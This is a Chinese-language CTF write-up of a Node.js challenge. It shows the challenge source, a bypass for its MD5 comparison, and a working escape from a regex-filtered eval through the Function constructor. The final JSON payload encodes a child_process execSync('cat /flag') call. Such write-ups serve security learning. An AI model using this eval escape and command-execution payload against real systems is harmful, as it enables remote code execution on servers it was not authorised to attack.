JS原型链污染原理
最开始是从P牛那里学的JS污染。
P牛的JS原型链污染分析需要自取。
阿这。。。心态炸了不想说原理了。
好几次没保存博客刷新了。GG
题目
const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');
const fs = require('fs');
const crypto = require('crypto');
const keys = require('./key.js').keys;
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个
const template = fs.readFileSync('./index.html').toString();
function render(results) {
return template.replace('{{results}}', results.join('<br/>'));
}
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
app.use(cookieSession({
name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧
keys
}));
Object.freeze(Object);
Object.freeze(Math);
app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
req.session.admin = req.session.admin || 0;
res.send(render(req.session.results = req.session.results || []))
});
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
两种绕过
弄一个这个
"first":{"length":"1"},"second":{"length":"1"}
就可以绕过了,first和second现在都是object
而first.length===second.length, 而且
first!==second
最关键是
md5(first+keys[0]) === md5(second+keys[0])
这个代码,first是一个对象,和keys[0]拼接的时候就转换成String
第二种
first='1'
second=[1]
最后看e:
safer-eval:
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
这个正则意思是。只能是Math.xxxxx。符号只能出现()+-*&|%^<>=,?:
考虑使用指针的形式()=>
(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(97,108,101,114,116,40,49,41))()))(Math+1)
最外层的payload如下
(Math=>(xxxxx)())(Math+1)
最外面的小括号。是JS的立即执行函数。否则你就只是单单定义了这个函数。
开头的Math是箭头函数。需要接受的参数。类似于function(Math)
然后最后括号的Math+1。就是你传入的参数
接下来进入Math箭头函数的内部。也就是这个函数会执行什么
(Math=Math.constructor,Math=Math.constructor(Math.fromCharCode(97,108,101,114,116,40,49,41))())
可以看到。这里定义了Math。把传入的Math的constructor赋值
具体是什么意思呢。这里是利用了JS的原型链。一开始Math并没有定义。如果我们直接传入Match。那么会是object。而payload中传入的是Math+1。此时类型就变成了object1。object对象和字符串进行拼接。那么会转换为string类型
为了清楚。我们重写下代码
test=Math.constructor
返回string类型的原型。string
test2=test.constructor
返回string原型的原型。function
也就是通过一个object1从原型链上获取了string和function两种类型
直接引入原wp了。
最后将fromCharCode改成自己的payload
直接cat /flag
当然如果你弹shell成瘾也可以。。。BUU复现得开个靶机我就没搞,
return process.mainModule.require('child_process').execSync('cat /flag')
然后ascii放在里面。
{"e":"(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)","first":"1","second":[1]}
Burp传的时候Content-Type: application/json